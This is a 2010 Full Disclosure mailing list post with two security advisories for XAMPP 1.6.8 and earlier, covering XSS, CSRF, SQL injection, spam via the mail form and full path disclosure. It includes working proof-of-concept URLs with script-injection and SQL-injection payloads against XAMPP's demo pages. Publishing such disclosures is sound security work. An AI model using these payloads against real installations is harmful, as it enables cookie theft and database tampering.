Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Multiple vulnerabilities in XAMPP (advisories #5 and #6)
From: "MustLive" <mustlive () websecurity com ua>
Date: Fri, 29 Jan 2010 01:51:37 +0200

Hello Full-Disclosure!

I am continue informing you about multiple vulnerabilities in XAMPP.

-----------------------------
Advisory #5
-----------------------------
Vulnerabilities in XAMPP
-----------------------------
URL: http://websecurity.com.ua/3257/
-----------------------------
Timeline:

23.06.2009 - found the vulnerabilities.
23.06.2009 - announced at my site.
24.06.2009 - informed developers.
28.07.2009 - disclosed at my site.
-----------------------------
Details:

These are Cross-Site Scripting and Insufficient Anti-automation
vulnerabilities.

XSS:

http://site/xampp/iart.php?text=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Insufficient Anti-automation:

http://site/xampp/mailform.php

During access to admin panel and if SMTP Service (Mercury Mail) is turned on
it's possible to send spam due to lack of protection from automated
requests.

Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
versions (including last version XAMPP 1.7.1).

-----------------------------
Advisory #6
-----------------------------
New vulnerabilities in XAMPP
-----------------------------
URL: http://websecurity.com.ua/3264/
-----------------------------
Timeline:

23.06.2009 - found the vulnerabilities.
25.06.2009 - announced at my site.
26.06.2009 - informed developers.
01.08.2009 - disclosed at my site.
-----------------------------
Details:

These are Cross-Site Scripting, Cross-Site Request Forgery, SQL Injection
and Full path disclosure vulnerabilities.

XSS:

http://site/xampp/ming.php?text=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

CSRF:

http://site/xampp/phonebook.php

It's possible to delete or add data in test table (as via CSRF, and as via
Insufficient Authorization vulnerabilities). And also to conduct SQL
Injection via CSRF attacks.

XSS (Persistent):

http://site/xampp/phonebook.php?lastname=%3Cscript%3Ealert(document.cookie)%3C/script%3E&firstname=1

http://site/xampp/phonebook.php?firstname=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/xampp/phonebook.php?firstname=1&phone=%3Cscript%3Ealert(document.cookie)%3C/script%3E

SQL Injection:

http://site/xampp/phonebook.php?action=del&id=-1%20or%201=1

http://site/xampp/phonebook.php?lastname=',version())/*&firstname=1 (mq off)

http://site/xampp/phonebook.php?firstname=',version(),1)/* (mq off)

http://site/xampp/phonebook.php?firstname=1&phone=&apos;),(version(),1,'1 (mq
off)

Attack is possible during access to admin panel (via Insufficient
Authorization), or via CSRF.

Full path disclosure:

http://site/xampp/phonebook.php?lastname='&firstname=1

http://site/xampp/phonebook.php?firstname=&apos;

http://site/xampp/phonebook.php?firstname=1&phone=&apos;

Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
versions (including last version XAMPP 1.7.1).

-----------------------------

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Multiple vulnerabilities in XAMPP (advisories #5 and #6) MustLive (Jan 29)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault